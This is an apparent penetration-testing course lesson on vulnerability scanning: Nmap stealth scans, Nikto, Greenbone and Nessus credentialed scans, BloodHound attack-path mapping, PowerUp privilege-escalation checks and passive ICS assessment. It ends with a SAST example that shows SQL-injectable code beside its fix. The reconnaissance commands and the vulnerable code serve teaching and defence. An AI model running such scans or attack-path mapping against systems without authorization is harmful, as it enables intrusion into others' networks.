ScanWhat it relies onWhat defenders see
TCP connect (-sT)A full handshake through the operating system; no special privilegesApplications may log it; firewall logs
SYN, half-open (-sS)A reset before the handshake completes; needs raw-packet privilegesApplications rarely log it; an intrusion detection system (IDS) sees it
UDP (-sU)Closed ports answer with ICMP; open ones usually stay silentBursts of ICMP unreachable from the target
NULL, FIN, Xmas (-sN, -sF, -sX)RFC 793: closed ports reset, open ones ignore; useless against WindowsMost modern IDS products can be set to detect them
Slow timing (-T0, -T1)Too few probes per minute to trip a threshold; hours per hostCorrelation over long time windows

Stealth means less logged, not invisible. Nmap's documentation says system logs alone rarely catch a SYN scan, yet purpose-built detectors do. Some react: PortSentry, or an intrusion prevention system (IPS), can block your source address mid-run, after which every remaining host looks clean. Use stealth options when the rules of engagement ask whether the SOC would notice, and not otherwise, because quiet and thorough pull in opposite directions. A full vulnerability scan cannot be quiet at all.

Nikto: one web server, over 8,000 checks

Port 80 gets its own tool. Nikto is an open-source web server scanner that checks for over 8,000 potentially dangerous files and programs, outdated versions and misconfigurations. Kali carries version 2.6.1, released in July 2026. Point it at one port and leave out the denial-of-service tests (in x6, the x means everything except category 6):

nikto -h 192.168.56.102 -p 80 -Tuning x6 -o nikto-80.txt

Expect something like this, shortened from a published 2016 run of Nikto 2.1.6 against this image, with your address substituted. Newer versions drop the OSVDB numbers and word some lines differently.

- Nikto v2.1.6
+ Target IP:          192.168.56.102
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12).
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /doc/: Directory indexing found.
+ 8329 requests: 0 error(s) and 29 item(s) reported on remote host

Sort those lines by the three ways of knowing. Server and x-powered-by are claims, and "appears to be outdated" is arithmetic on a claim. The /doc/ line is an observation you can confirm by hand with curl -sI 192.168.56.102/doc/. The junk-methods line is Nikto warning about itself: a server that answers anything can fake a hit, so check the hits.

Choose Nikto for a quick look at the server layer: versions, default files, methods, headers. It does not understand the application's logic, which is what dynamic testing in Lesson 11 is for. It is also loud. A defender sees that 8,329-request run as thousands of 404s from one address within minutes, though not necessarily the word Nikto, since 2.6.1 sends a fixed Chrome User-Agent by default. The fixes are ordinary: patch, remove default content, disable TRACE, restrict admin paths.

Greenbone and OpenVAS: building the full scan

The exam writes Greenbone/OpenVAS because the name moved. OpenVAS was the community project's name. Greenbone now calls the free package Greenbone Community Edition. It keeps OpenVAS Scanner as the name of the engine that runs vulnerability tests (VTs, or NVTs in older reports) from a feed. It has also revived OPENVAS as a brand for its commercial products. Kali's package is gvm. The manager, gvmd, stores everything in a PostgreSQL database, and the Greenbone Security Assistant is the web interface. There the procedure is four objects, in order:

  1. Port list: the TCP ports from lab-full plus the UDP ports that matter, such as 53 and 161.
  2. Target: 192.168.56.102 with that list, and no credentials yet.
  3. Task: that target with the scan configuration Full and fast. Greenbone says this runs with safe_checks=yes, which excludes tests that may cause a denial of service, though some tests are still invasive.
  4. Report: when it finishes, lower the QoD filter to 0 percent before you read anything.

Here are sample results from one published Full and fast report of this image. Names and scores shift with the feed date.

VulnerabilityLocationSeverityQoD
Possible Backdoor: Ingreslock1524/tcp10.099%
vsftpd Compromised Source Packages Backdoor21/tcp9.899%
DistCC RCE Vulnerability3632/tcp9.399%
Operating System End-of-Lifegeneral/tcp10.080%

Read the last two columns together. The 99s are the "tests behavior" row: the scanner got a reply that shows the problem. The end-of-life line outranks DistCC on severity but rests on identifying a version, so it needs a different kind of confirmation. Sort by severity alone and you lose that distinction.

The Greenbone Security Assistant web interface showing an empty Tasks page with charts of tasks by severity, from the OpenVAS 9 era.
Greenbone Security Assistant, an older version
Fabiorahamim - CC BY-SA 4.0 - Wikimedia Commons
A diagram of the OpenVAS scanner running NVTs against scan targets, controlled by a manager that stores results and configurations and is driven by the Greenbone Security Assistant.
The parts of OpenVAS, with 2011-era names
OpenVAS Developer Team - CC BY-SA 3.0 - Wikimedia Commons

Carrying BIND 9.4.2 forward: what a version string is worth

Lesson 8 asked your target's DNS server its version and got "9.4.2", with recursion apparently on, and left that string for this module. Follow it. CVE-2008-1447, the Kaminsky cache poisoning flaw, lets an attacker spoof DNS replies to a recursive resolver. The National Vulnerability Database lists BIND before 9.4.2-P1 on that line as affected, with a CVSS v3.1 base score of 6.8. A version check does simple arithmetic: 9.4.2 is below 9.4.2-P1, so flag it. Such a result has this shape.

Sample output: a version-based result in Greenbone's usual format
Vulnerability:  ISC BIND DNS cache poisoning (CVE-2008-1447)
Location:       53/udp on 192.168.56.102
Detection:      Installed version: 9.4.2
                Fixed version:     9.4.2-P1

Now the problem. On 8 July 2008 Ubuntu shipped its own fix, notice USN-622-1, as version 1:9.4.2-10ubuntu0.1 of the libdns35 package for Ubuntu 8.04, the release Metasploitable 2 is built on. That is backporting: the vendor copies the fix into the old version instead of moving to the new one. BIND keeps announcing 9.4.2 either way, so the banner cannot separate a patched server from an unpatched one. This is exactly why Greenbone's table has a 30 percent row that names back-ported patches.

It may also explain a silence. One published Full and fast report of this image lists no BIND result at all. That proves nothing about the server. A result could be sitting behind the 70 percent filter, or the feed may treat it differently, so look before you conclude.

The second run: same host, one changed input

Change one thing: credentials. In Greenbone, create a username and password credential for the lab account msfadmin, clone the target, attach the credential as its SSH credential, and run the same scan. Greenbone's manual says regular user access is usually enough on Linux and Unix. The scanner now logs in, lists installed packages and compares them with vendor advisories, the 97 percent row of the table.

First check that the login worked, because a failed login leaves a report that looks like the first one. Greenbone writes a login result for the credential, in the pattern its manual shows for SNMP: "Login Successful For Authenticated Checks" or "Login Failed For Authenticated Checks". On this VM the login may genuinely fail. Greenbone's scanner logs in with libssh rather than OpenSSH, and this server offers old algorithms, which the ssh2-enum-algos script from Lesson 7 lists. If it does, do by hand what the scanner would have done, on Metasploitable's console:

dpkg -l | grep -E 'bind9|libdns'
ii  libdns35   [your version here]   DNS Shared Library used by BIND
The package showsVerdict on CVE-2008-1447What goes in the report
A version below 1:9.4.2-10ubuntu0.1True positive: the fix is absentA finding, with the package line as evidence
1:9.4.2-10ubuntu0.1 or laterFalse positive for this CVE: the banner misled youNo finding for this CVE; a scanner override stating the reason

To compare two versions the way the package manager does, use dpkg --compare-versions "YOUR-VERSION" ge "1:9.4.2-10ubuntu0.1" && echo at-or-above-fix. Either way a separate finding stands: Ubuntu 8.04 reached end of life on 9 May 2013, so later flaws get no such fix. Working credentials change a report in three ways.

ResultNo credentialsWorking credentialsWhy
Flaw in an installed library with no listening portInvisibleReportedNothing on the network reveals it
Version-based flaw, like BIND aboveA guess from a bannerConfirmed or clearedA claim is replaced by a reading
Telnet or rexec open to the networkReportedReportedThe exposure is the same either way

Neither run replaces the other. The unauthenticated run answers "what can someone with no account reach and learn?", which is where an outside attacker starts. The authenticated run answers "what is installed and what is missing?", and Tenable says credentials allow a wider variety of checks and more accurate results. Defenders see valid logons from your scanner, something like sshd[4721]: Accepted password for msfadmin from 192.168.56.101 port 51544 ssh2 in the auth log, so the SOC must know. Treat that account as a high-value secret: dedicated, least privilege, disabled when the test ends.

So what?: the same host gave two different reports because one input changed. Always record which hosts were scanned with a working login.

Tenable Nessus: the same job under a commercial license

Nessus does what Greenbone does, with Tenable's plugins in place of VTs.

Greenbone Community EditionTenable Nessus
License and interfaceOpen source, free feed; 127.0.0.1:9392Commercial, limited free tiers; localhost:8834
Where you startScan configurations such as Full and fastTemplates such as Basic Network Scan, Advanced Scan and Credentialed Patch Audit
Did the login work?Login result for the credentialPlugin 19506 records whether credentialed checks were possible; plugin 21745 is OS Security Patch Assessment Failed

Nessus Essentials needs registering with Tenable. As of November 2026 its page gives a 30-day license for up to 5 IP addresses, for personal, educational and non-commercial use, without data export. Verified students and instructors can get a free one-year license for Essentials Plus, and consulting work requires Nessus Professional. Nothing in this course needs an account. If you do register, read Tenable's terms first, including any age rule.

Host-based scans: from inside the machine

NIST notes that scanners can run against a host either locally or from the network. A host-based scan is the local kind: an agent or tool on the machine reads its own patches, configuration, file permissions and services. It needs no inbound access, so it suits a laptop that is rarely in the office. The limit comes with the strength: Tenable's tuning guide says its agents cannot perform remote checks or scan the network, so this view says nothing about what an outsider can reach.

Try one on your own VM. sudo lynis audit system runs Lynis, an auditing tool for hardening Linux and Unix systems, against Kali itself. The report ends something like this sample:

Lynis security scan details:
Hardening index : 66 [#############       ]
Tests performed : 268

Keep this pair straight, because stems play on it. An authenticated scan still runs from your scanner across the network, so it needs reachability and a login at scan time.

A host-based scan needs software on the host and permission to put it there. Defenders see a new process reading a lot of files, which antivirus (AV) and endpoint detection and response (EDR) tools may log or block, so agree on it in advance.

Fix what it finds at the source: if the server is built from Infrastructure as Code (IaC) templates, a fix made only on the live machine vanishes at the next rebuild. Lesson 11 scans those templates.

A terminal showing Lynis results: a hardening index of 66, 268 tests performed, and marks for components such as a firewall and a malware scanner.
The end of a Lynis host audit
Mboelen - CC BY-SA 4.0 - Wikimedia Commons

BloodHound: when the weakness is a relationship

Some weaknesses have no missing patch to flag. Rights in Active Directory (AD) pile up until a junior account can reach a senior one by a route nobody planned. Lesson 8 drew an attack path map by hand. BloodHound does it for AD automatically, using graph theory to reveal relationships nobody intended. Each user, group and computer is a node, each membership or right is a directed edge, and the tool searches for routes along those edges.

SpecterOps publishes the free BloodHound Community Edition, at v9.9.0 in late October 2026; BloodHound Legacy, version 4, is deprecated, so older tutorials are out of date. The collector, SharpHound, runs as a domain account. From the domain controller it gathers group memberships, domain trusts, abusable rights and Group Policy links; from each domain-joined computer it asks for local groups and active sessions. It writes JSON files into a zip for the web application, which is backed by a Neo4j graph database. Your lab has no domain, so read this fictional result.

FromEdgeToPlain meaning
dana@corp.example.comMemberOfhelp-desk groupDana is on the help desk
help-desk groupAdminTofs02.corp.example.comThe group is local administrator on a file server
fs02.corp.example.comHasSessionbackupadm@corp.example.comA backup administrator has logged on there
backupadm@corp.example.comMemberOfDomain AdminsThat account runs the domain

Each row looks routine. Together they put a help desk account four edges from Domain Admins. BloodHound's documentation is careful about the third row: a session means credential material is possible, not guaranteed. So this is a map of questions, and testing any of it is a separate decision under the rules of engagement. Its value in a report is the cheapest cut: remove the help desk's local administrator right on fs02, or keep domain administrators off that server, and the path is gone without patching anything.

Defenders can see collection as a burst of LDAP and SAM-R queries. Microsoft Defender for Identity lists medium-severity alerts named Security principal reconnaissance (LDAP) and User and Group membership reconnaissance (SAMR).

Four circles labeled A to D joined by arrows, showing nodes and directed edges, the structure BloodHound uses for rights and memberships.
A small directed graph
Farisori - CC BY-SA 4.0 - Wikimedia Commons

PowerSploit: archived, and still on the exam

PowerSploit is a collection of PowerShell modules for penetration testing. Its repository has been read-only since 21 January 2021 and its README says the project is no longer supported. The exam lists it anyway. Two of its groups belong to discovery: Recon, which includes PowerView for domain enumeration, and Privesc, whose PowerUp is a clearing house of privilege-escalation checks. PowerUp runs on a Windows host as the user under test and asks what that account could change that it should not.

PowerUp checkWhat it looks forFix
Get-UnquotedServiceService paths with spaces and no quotes (Lesson 15)Quote the path
Get-ModifiableServiceFileService programs the current user can overwriteCorrect the file's permissions
Get-RegistryAutoLogonAutologon credentials stored in the registryRemove them

A result is a small record to interpret. This one is fictional, with its abuse suggestion removed.

ServiceName : ExampleBackupAgent
Path        : C:\Program Files\Example Backup\agent.exe
StartName   : LocalSystem
Check       : Unquoted Service Paths
[abuse suggestion removed]

Those scripts have been public and unchanged since 2021, so expect AV and EDR products to flag them, and get the client's agreement first. Where PowerShell Script Block Logging is on, Windows records the content of what runs as event 4104. The working world has moved toward compiled tools: SharpUp is a C# port of PowerUp's common checks, and Seatbelt appears in Lesson 15. Lesson 23 returns to PowerSploit and PowerView.

The third run: change the target to a plant

Everything above assumed a machine can be rebooted. Point the same plan at an industrial control system (ICS) and the default flips from "scan it" to "send it nothing".

Sandia's reasons are physical: controller CPUs are generations behind and easily overtaxed, legacy networks are slow, and sloppy network stacks go unnoticed until a scanner exercises them. A 2010 good practice guide from the UK's CPNI says many field devices will crash or hang from a simple scan.

NIST SP 800-82 Revision 3 tells owners to use extreme caution with active scanning and to schedule it for planned outages. Greenbone's safe_checks does not change this: a test that does no harm to a server can still stop a controller.

Lesson 5's Purdue model tells you where you are standing. Levels 4 and 5 are ordinary IT, where most testing starts, and NIST warns that scanners there must be kept from mistakenly reaching the OT network, which is the gas utility story. The nearer you get to Level 0, the more of the physical process is at stake, so settle level by level with the asset owner what, if anything, may be probed. Then replace the usual actions. Sandia's table is the core of a manual assessment:

QuestionUsual IT actionPreferred action in a plant
Which hosts exist?Ping sweepRead switch CAM tables and router configurations; chase the wires; listen passively
Which services run?Port scanCheck locally, for example with netstat; port scan a duplicate or test system
Which flaws apply?Vulnerability scanRead versions locally and look them up in CVE; scan a duplicate or test system

NIST describes the same idea: use passive monitoring and manual visual inspection to keep an inventory, then cross-reference it against known vulnerabilities such as CISA advisories and the National Vulnerability Database. CPNI adds document review (inventories, architecture diagrams, procedures), configuration review and staff interviews, and says the team needs ICS engineering experience. The evidence is a dated inventory: device, firmware, location, and how you read it. Operations staff must know the assessment is happening, and if manual control is possible, someone able to take it must be present. Serial segments get the same treatment, because automated network scanning does not apply to non-routable links.

An empty control room at a Singapore NEWater plant, with curved operator desks and banks of monitors.
A SCADA control room at a water plant
Z22 - CC BY-SA 4.0 - Wikimedia Commons
Four monitors on a desk showing process diagrams of a chiller plant's pumps and pipework, with printed logs and notes beside the keyboard.
Operator screens for a campus chiller plant
Rsparks3 - CC0 - Wikimedia Commons
Three photos of PLC hardware labeled micro, mini and rack, from a small DIN-rail unit up to a rack of plug-in modules.
Programmable logic controllers in three sizes
Unknown author - CC BY-SA 3.0 - Wikimedia Commons

Port mirroring: hearing the plant without speaking

Port mirroring, which Cisco calls Switched Port Analyzer (SPAN), tells a managed switch to copy the traffic of chosen ports or VLANs to one more port, where your capture machine listens. CPNI says many assessments begin this way. They use a span port on each key switch and capture for hours. Then they compile statistics on who talks to whom, over what protocol and how much. The boundaries between zones are among the most important places to listen.

SPAN is a configuration change on a live switch, and Cisco warns that an oversubscribed destination port can congest, affect forwarding on the source ports and lose packets. A network tap is the hardware alternative, a device in the cable that copies one link, though NIST warns that in-line probes can mean a momentary disconnection.

Both share NIST's limits. Passive capture adds no traffic and can reveal manufacturers, part numbers and firmware versions, but it cannot identify devices that are not communicating, cannot inspect encrypted traffic without special provisioning, and often takes days. The tools are the ones from Lesson 7. Try the reading step in your lab: sudo tcpdump -i eth1 -n -w /tmp/mirror.pcap host 192.168.56.102, then tshark -r /tmp/mirror.pcap -q -z conv,tcp to list conversations. Here is a fictional three-day capture from a water utility, Harbor Water, with Level 1 on 10.30.1.0/24, Level 2 on 10.30.2.0/24 and Level 4 on 10.10.4.0/24.

Address AAddress BServicePacketsReading
10.30.2.10 SCADA server10.30.1.21 PLCModbus, 502/tcp412,880Adjacent levels: expected. Classic Modbus has no authentication, so note it
10.30.2.10 SCADA server10.30.1.40 RTUDNP3, 20000/tcp96,210Adjacent levels: expected
10.10.4.77 office PC10.30.1.21 PLCModbus, 502/tcp1,204Finding: Level 4 talks directly to Level 1, against NIST's firewall guidance
10.30.1.21 PLC203.0.113.50443/tcp88Finding: a controller is reaching outside the plant
10.30.1.30 PLC (on asset list)nonenone0Not a finding yet: silent or disconnected. Verify by hand
A network cabinet with two managed rackmount Ethernet switches patched by short gray cables into panels above them.
Managed switches, where a SPAN session is set up
Dsimic - CC BY-SA 4.0 - Wikimedia Commons
A diagram of a tap on a live fiber link, passing 80 percent of the light along the link and splitting 20 percent to two outputs for monitoring.
How an optical network tap works
Chrisliom - CC BY-SA 4.0 - Wikimedia Commons

A worked performance-based question: match the scan to the asset

Harbor Water hands you this scope sheet. Assign one approach per asset and defend it in a sentence. Decide from the Facts column before reading the two on the right.

AssetFactsApproachThe clue that decides it
Public web serverInternet-facing; no account offeredNikto, plus an unauthenticated network scanThe question is what an outsider sees
60 Linux serversRead-only SSH account; "which patches are missing?"Authenticated Greenbone or Nessus scan, logins verifiedPatch state needs a package reading
120 field laptopsRarely on site; agents allowedHost-based agent scanNot reachable at scan time
Windows domainOne standard account; "how far is the help desk from Domain Admins?"BloodHoundA relationship question, with no CVE involved
Windows kiosk imageStandard-user view; EDR installedPowerUp-style audit or SharpUp, agreed with the client"What could this user change?"; EDR may flag it
Level 1 PLCsNo new traffic allowed; operators will helpPort mirroring and manual assessment"No new traffic" rules out every active scan

Now change one fact at a time and reason again.

  • The SSH login fails on 9 of the 60 servers. Those 9 have only an outsider's view. List them in the limitations, and do not read their short reports as good news.
  • The plant owns a duplicate test rig. You may now scan the rig actively, and the results carry over only where its firmware matches production.
  • The rules of engagement add "see whether the SOC notices". The web server now calls for a quiet scan first, and you record what the SOC saw and when.

The whole family at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
TCP/UDP network scanServices reachable that need not beNmap, scanner port listsFirewall and IDS logs; ICMP burstsClose or firewall unneeded ports
Stealth scanLogs and thresholds that miss half-open or slow probesNmap -sS, -sF, -T1IDS and long-window correlationScan detection tuned over time
Web server scanOld versions, default files, risky methodsNiktoThousands of 404s from one addressPatch; remove defaults; disable TRACE
Unauthenticated vulnerability scanFlaws visible from the networkGreenbone/OpenVAS, NessusIDS alerts; many services logging errorsPatch, remove or restrict the service
Authenticated scanGaps only a login can readThe same, with SSH or SMB credentialsValid logons from the scannerPatch management; least-privilege account
Host-based scanLocal patches, settings, permissionsLynis, Nessus agentsNew process; AV and EDR telemetryHarden the host and its template
AD relationship mappingRights and sessions nobody reviewedBloodHound, SharpHound, PowerViewLDAP and SAM-R bursts; Defender for Identity alertsRemove excess rights; keep admins off lower-tier hosts
Windows host auditMisconfigurations a standard user can usePowerSploit's PowerUp, SharpUp, SeatbeltEvent 4104; AV and EDR alertsQuote paths; fix permissions; clear stored passwords
ICS manual assessmentOld firmware, undocumented changeDocuments, walk-downs, CISA advisoriesNothing on the wire; staff are presentPatch at planned outages; compensating controls
ICS port mirroringCleartext protocols; flows across levelsSPAN or tap, tcpdump, WiresharkA switch change; nothing reaches devicesAdjacent-level firewall rules; controlled outbound

Exam cues: what the stem is really asking

Objective 3.1 begins "Given a scenario", and these are the pairs people mix up.

The stem saysIt points toDo not confuse with
"Missing patches", "fewest false positives", "account provided"Authenticated scanHost-based scan, which runs on the machine
"What an outside attacker can see"Unauthenticated scanAuthenticated scan, which sees more than an outsider
"Agent", "laptops off the network"Host-based scanAuthenticated scan, which must reach the host
"Half-open", "little in application logs"SYN scanConnect scan, which completes the handshake
"SNMP never appeared in the report"Port list without UDPA host that is not vulnerable
"Web server", "default files", "TRACE"NiktoGreenbone or Nessus, which cover whole hosts
"QoD", "VTs", "Full and fast"Greenbone/OpenVASNessus: "plugins", "templates"
"Banner matches, but the vendor back-ported the fix"False positive; check the packageA confirmed vulnerability
"Login failed", plugin 21745Scan limitation; patch state unknownA clean host
"Shortest path to Domain Admins", "edges"BloodHoundA scanner, which looks for flaws one at a time
"PowerUp", "PowerView", "no longer supported"PowerSploitSharpUp or Seatbelt, compiled tools in use now
"PLC", "no new traffic", "who talks to whom"Port mirroringA slow scan, which still sends packets
"Document review", "walk-down", "serial devices"Manual assessmentPort mirroring, which sees only communicating IP traffic

How scan results are reported

Scanner output is evidence, not findings. A finding says what is true after you checked. Here is one from the fictional Harbor Water engagement.

  • Title: Recursive DNS resolver dns1 lacks the July 2008 cache poisoning fix (CVE-2008-1447).
  • Severity: High for this client, above the CVSS v3.1 base score of 6.8 (Medium). dns1 is the only resolver for about 400 staff, so a spoofed answer could redirect mail and web traffic across the company. It is not Critical because the attacker must win a race, and the flaw affects integrity, not code execution.
  • Evidence: authenticated Greenbone result, QoD 97 percent, with report file and date; dpkg -l shows libdns35 at 1:9.4.2-10, below the fixed 1:9.4.2-10ubuntu0.1 in USN-622-1; the banner query returned 9.4.2. No cache poisoning was attempted.
  • Root cause: the host runs Ubuntu 8.04, unsupported since 9 May 2013, and sits outside the patch process.
  • Remediation: move the resolver to a supported release and current BIND; until then, restrict recursion to named clients. Confirm with a credentialed rescan.

The methodology must state the conditions of the scan, because they decide what its silences mean:

  • tool and feed date
  • port list including UDP
  • QoD filter
  • safe checks
  • the hosts where login worked and failed
  • anything blocked mid-run

In a plant report, say plainly that no active scanning was done, what was read by hand, and which devices were never seen. Those belong in the limitations, where a client can act on them. Lesson 12 turns this into formal validation, and Lesson 14 explains how scoring systems weigh severity.

Common misconceptions

  • "A clean report means a clean host." A default report may have skipped UDP, hidden everything under 70 percent QoD or failed its login.
  • "The version number settles it." Back-ported fixes keep the old number. Read the package.
  • "Stealth scans are invisible." They leave fewer application logs, but firewalls and intrusion detection still see them.
  • "Safe checks make a scanner safe for controllers." A ping sweep alone has moved a robot arm and hung a chip plant.
  • "BloodHound finds vulnerabilities." It finds relationships. Nothing in a path need be unpatched.

What to remember

  • A scanner knows by reading a claim, reading the machine, or testing behavior. Greenbone's QoD scores these: 30 or 80 for banners, 97 for package and registry checks, 99 for a remote test that shows the flaw.
  • Greenbone hides results under 70 percent QoD by default, and its default port list has no UDP. The Nessus Advanced Scan template covers about 4,790 ports with SYN on and UDP off.
  • Ubuntu fixed CVE-2008-1447 in libdns35 1:9.4.2-10ubuntu0.1 while BIND's banner still says 9.4.2, so the package decides, not the banner.
  • An authenticated scan logs in across the network; a host-based scan runs on the machine. Confirm the login worked: Greenbone's login result, Nessus plugins 19506 and 21745.
  • Stealth means less logged, not unseen: SYN scans rarely reach application logs, but IDS products catch them, and an IPS can block a scanner mid-run.
  • Nikto runs over 8,000 checks against a web server and is loud. It sees the server layer, not application logic.
  • BloodHound graphs AD rights and sessions from SharpHound data. PowerSploit, with PowerUp and PowerView, has been archived since 21 January 2021.
  • On an ICS, NIST favors passive monitoring and manual inspection, cross-referenced to advisories, with active scans only at planned outages or on a replica. Passive capture misses silent devices, encrypted content and serial links.

Sources

  1. Duggan, D. P., Berg, M., Dillinger, J., and Stamp, J. (2005). Penetration testing of industrial control systems (SAND2005-2846P). Sandia National Laboratories. archived at webarchive.library.unt.edu
  2. Centre for the Protection of National Infrastructure. (2010). Cyber security assessments of industrial control systems: A good practice guide. archived at web.archive.org
  3. National Institute of Standards and Technology. Stouffer, K., et al. (2023). Guide to operational technology (OT) security (SP 800-82 Rev. 3), section 5, Appendix E.2.2-E.2.3 and Appendix F control RA-5. csrc.nist.gov; Scarfone, K., et al. (2008). Technical guide to information security testing and assessment (SP 800-115), section 4. nvlpubs.nist.gov
  4. Greenbone AG. (n.d.). Greenbone Enterprise Appliance manual, GOS 22.04: Scanning a system; Reading the results (Quality of Detection). scanning; reports; Greenbone Community Documentation: Architecture. architecture; Greenbone Community Forum. SSH authentication unsuccessful for authenticated scans (libssh). forum; Kali Linux. (n.d.). gvm. kali.org
  5. Tenable. (2026). Tenable Nessus 10.12 user guide: Discovery settings; Credentials; Scan templates. discovery; credentials; Nessus scan tuning guide. tuning; Nessus Essentials. Essentials; plugins 19506 and 21745
  6. Sullo, C. (2026). Nikto, README and release notes for version 2.6.1. github.com; cirt.net
  7. Published scan records of Metasploitable 2, used only to shape the samples: Reid, C. (n.d.). Metasploitable/Apache/Python. charlesreid1.com; Sabry, M. (n.d.). Metasploitable2 penetration testing report. github.com
  8. Records of CVE-2008-1447: National Vulnerability Database. nvd.nist.gov; Canonical. (2008). USN-622-1: Bind vulnerability. ubuntu.com; Conrad, A. (2013, May 9). Ubuntu 8.04 (Hardy Heron) End of Life reached on May 9, 2013. lists.ubuntu.com
  9. SpecterOps. (2026). BloodHound documentation: SharpHound Community Edition; HasSession; BloodHound repository (v9.9.0); BloodHound Legacy README. SharpHound; HasSession; repository; Legacy
  10. PowerShellMafia. (n.d.). PowerSploit repository and Privesc README. github.com; GhostPack. (n.d.). SharpUp. github.com
  11. Microsoft. (n.d.). Security alerts in Microsoft Defender for Identity; about_Logging_Windows. alerts; logging
  12. Cisco. (n.d.). Configure Catalyst Switched Port Analyzer (SPAN). cisco.com
  13. Lyon, G. (n.d.). Nmap network scanning: Port scanning techniques; Detection of Nmap scans. techniques; detection
Key terms
Authenticated scan
A vulnerability scan in which the scanner logs in to each target across the network, usually over SSH or SMB, and reads installed packages and settings; also called a credentialed scan.
Host-based scan
A vulnerability scan run on the machine itself by an agent or local tool; it needs no inbound access but cannot show what the network can reach.
Quality of Detection (QoD)
Greenbone's 0 to 100 percent rating of how reliably a result was detected, from 30 for an unreliable banner to 97 for a package check and 100 for an exploit.
Backporting
Copying a security fix into an older software version, so a package is patched while the version number the service announces stays the same.
Nikto
An open-source web server scanner that checks for over 8,000 dangerous files and programs, outdated versions and misconfigurations, and is easy to see in logs.
OpenVAS
The original name of the open-source vulnerability scanner now packaged as Greenbone Community Edition; OpenVAS Scanner remains the name of its scan engine.
Nessus
Tenable's commercial vulnerability scanner, which tests hosts with plugins and offers limited free Essentials licenses that require registration.
BloodHound
A SpecterOps tool that loads Active Directory data into a graph database and finds routes through memberships, rights and sessions.
PowerSploit
A collection of PowerShell penetration testing modules, including PowerUp and PowerView, archived in January 2021 and no longer supported.
Port mirroring
A managed switch feature, called SPAN on Cisco devices, that copies traffic from chosen ports to a monitoring port, so it can be captured without sending anything to the devices.

Reading the Code and the Containers: SAST, DAST, IAST, SCA, IaC, Secrets, and Image Scans

  • Choose among SAST, source code analysis, IaC, SCA, DAST, IAST, mobile, secrets, image, sidecar and cluster scans from what the client has handed you and what each scan cannot see.
  • Read sample output from Bandit, Trivy, Grype, TruffleHog, ZAP and Kube-hunter, and say what each line does and does not prove.
  • Explain TruffleHog's verified, unverified and unknown results, and why verifying a credential needs written permission.
  • Report a scan result with its title, severity, evidence, root cause and remediation, including the tool version, database date and image digest or commit.

One invoice portal, nine defects, no single scanner

Meridian Freight's invoice portal has 340 Git commits, one Dockerfile, one Terraform file, an Android app for its drivers and nine security defects. Meridian is fictional; every real tool, CVE and incident below is named as such.

DefectWhere it livesSeen by
1. SQL built by joining stringsinvoices.py, line 42SAST; IAST or DAST if a test reaches that route
2. log4j-core 2.14.1 in the PDF servicepom.xml and the built imageSCA, image scan
3. AWS key, committed and deleted one commit laterGit historySecrets scan of the history
4. SSH open to 0.0.0.0/0network.tfIaC scan; a network scan once deployed
5. Container runs as rootDockerfileIaC scan; image scan checking configuration
6. No Content-Security-Policy headerLoad balancer, outside the repositoryDAST
7. Debuggable flag and a hardcoded keyAndroid packageMobile scan
8. Anonymous access to the Kubernetes APICluster settingsKube-hunter, Trivy's Kubernetes scan
9. Any driver can open any invoice by changing its numberApplication logicA person testing by hand

Each scan reads one kind of artifact and is blind to the rest, and defect 9 needs a person. So a scenario question on this objective usually comes down to one thing: what has the client handed you?

Exam objectives: 3.1 (container scans, including sidecar scans; application scans: DAST, IAST, SCA, and SAST with its Infrastructure as Code and source code analysis branches, plus mobile scans; secrets scanning; TruffleHog, Grype, Trivy and Kube-hunter). Lessons 10 and 20 cover the network, host and wireless scans.

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Code, images and cluster access all belong to the client, so the rules of engagement (ROE) must name each one. Most scans here only read files. Two go further and need their own line in the permission: a DAST active scan sends attacks at a running application, and TruffleHog's verification uses a credential against its provider.

Commands here name only files on your Kali VM or the Juice Shop image from Lesson 2, and none needs an account or paid service. Kali packages Trivy, TruffleHog and ZAP; Grype and Bandit install separately. Trivy and Grype download vulnerability databases, so run sudo trivy image --download-db-only and sudo grype db update with Kali's NAT adapter attached, then detach it. Grype refuses a database older than five days by default.

The scans side by side: what each one reads and what it needs

ScanReadsApp running?You need
SAST: source code analysisSource, bytecode, binariesNoRepository access
SAST: IaCTemplates, manifests, DockerfilesNoRepository access
SCAManifests, lockfiles, libraries, SBOMsNoRepository or build output
SecretsFiles, Git history, images, logsNoRead access to each
ImageLayers of a built imageNoImage or registry pull rights
SidecarOne running pod, from insideYesThe right to change the pod
ClusterWhat a cluster exposes, or how it is set upYesA network path, or list rights
DASTResponses from the running appYesA URL, ideally a test login
IASTData flow inside the running appYes, under testAgent on the server, test traffic
MobileApp package, then the running appBothAPK or IPA; emulator or test phone

Developers meet these at different stages of the software development life cycle (SDLC):

  • SAST plug-ins in the integrated development environment (IDE) as code is written
  • SCA, secrets, IaC and image scans in the continuous integration/continuous delivery (CI/CD) pipeline
  • DAST and IAST once a test environment exists

The core of it: a scan can only find what exists in the thing it reads, and none of them knows who should be allowed to open invoice 1042. Choose by what you hold, then write down what that choice cannot see.

A looping diagram of the stages Plan, Create, Verify, Package, Release, Configure and Monitor, where these scans plug into development.
The DevOps toolchain
Kharnagy - CC BY-SA 4.0 - Wikimedia Commons

Source code analysis and SAST: reading without running

Static application security testing (SAST) examines source, bytecode or binaries without executing them. The objectives hang two branches from it: source code analysis, by tool or by eye, and Infrastructure as Code, the next section. A tool's central technique is taint analysis, as OWASP describes it: follow a value the user controls through the program, and flag it if it reaches a dangerous function, the sink, unsanitized. Here is defect 1 with its fix, then what Bandit, a free Python SAST tool, prints for bandit -r ./portal (its documented format; file and line fictional).

# Flagged: the value becomes part of the SQL text.
def find_invoice(conn, invoice_id):
    query = "SELECT * FROM invoices WHERE id = '%s'" % invoice_id   # line 42
    return conn.execute(query).fetchone()

# The fix: the driver sends the value separately, so it cannot change the statement.
def find_invoice(conn, invoice_id):
    query = "SELECT * FROM invoices WHERE id = ?"
    return conn.execute(query, (invoice_id,)).fetchone()
>> Issue: Possible SQL injection vector through string-based query construction.
   Severity: Medium   Confidence: Low
   CWE: CWE-89
   Location: ./invoices.py:42

